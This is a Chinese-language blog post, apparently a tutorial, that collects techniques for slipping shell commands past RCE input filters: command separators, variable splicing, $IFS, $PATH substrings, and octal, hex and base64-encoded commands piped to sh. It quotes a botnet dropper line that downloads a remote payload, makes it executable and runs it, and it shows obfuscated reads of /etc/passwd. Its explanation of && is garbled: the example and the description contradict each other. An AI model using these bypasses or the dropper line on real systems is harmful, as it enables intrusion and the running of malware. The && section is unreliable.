总结一下常见的RCE绕过方法和小技巧
连接符绕过
Linux系统中有一些常见的命令连接符号,例如|
,||
,&
,&&
,;
&
与;
作用类似,会将分隔的命令依次执行,不同之处在于;
不需要用空格拼接,以下例子中所有的命令都会被执行
id & whoami
id ; whoami
id;whoami
|
只会执行分隔符后的命令,以下的命令中只有whoami
会被执行
ping localhost | whoami
||
分隔符的后一个命令只有在前一个命令执行失败时才会被执行,例如某僵尸网络下载所使用的bash脚本
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://url/payload; curl -O http://url/payload;cat payload >RUN;chmod +x *;./RUN
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /
使用||
分隔符来在傀儡机上找到一个合适的目录下载payload
而&&
分隔符只有在前一个命令执行成功时才会执行下一个命令,如以下命令command2
必须在command1
执行失败时才会执行
command1 | command2
变量绕过
我们可以用变量来绕过字符串匹配,例如
a=fl;b=ag;cat $a$b
使用未初始化的变量绕过也是一种方法
cat /etc/pa${s}ss${b}wd
IFS
(Internal Field Separator,内部字段分隔符)是一个环境变量,用于定义在Bash shell中如何分隔单词和行,如以下命令
ping${IFS}127.0.0.1${IFS}-t${IFS}3
也可以从环境变量中截取字符串并拼接命令,例如
${PATH:5:1}${PATH:2:1}
${PATH:5:1}
表示从 PATH 变量的第 5 个字符开始提取一个字符
${PATH:2:1}
表示从 PATH 变量的第 2 个字符开始提取一个字符
因此,${PATH:5:1}${PATH:2:1}
将会得到两个字符的组合,分别是从 PATH 的第 5 个字符和第 2 个字符提取的结果
如果PATH
的值是/usr/local/sbin:/usr/local/bin
,那么从PATH
的第5
个字符开始提取一个字符会得到l
,而从PATH
的第2
个字符开始提取一个字符会得到s
,最后拼接执行的命令为ls
编码绕过
在Linux中,可以使用\
转义符来表示八进制字符,例如,要执行命令id
,可以使用八进制编码
$ echo -e "\151\144" | sh
这里\151
表示字符i
的八进制编码,\144
表示字符d
的八进制编码。
类似地,可以使用\x
转义符来表示十六进制字符,同样以执行命令id
为例
$ echo -e "\x69\x64" | sh
这里\x69
表示字符i
的十六进制编码,x64
表示字符d
的十六进制编码
使用base64
命令可以对命令进行Base64
编码和解码
$ echo "id" | base64
$ echo "aWQ=" | base64 -d | sh
第一行将命令id
编码为Base64
,第二行将Base64
编码的字符串解码为原始命令
Comments | NOTHING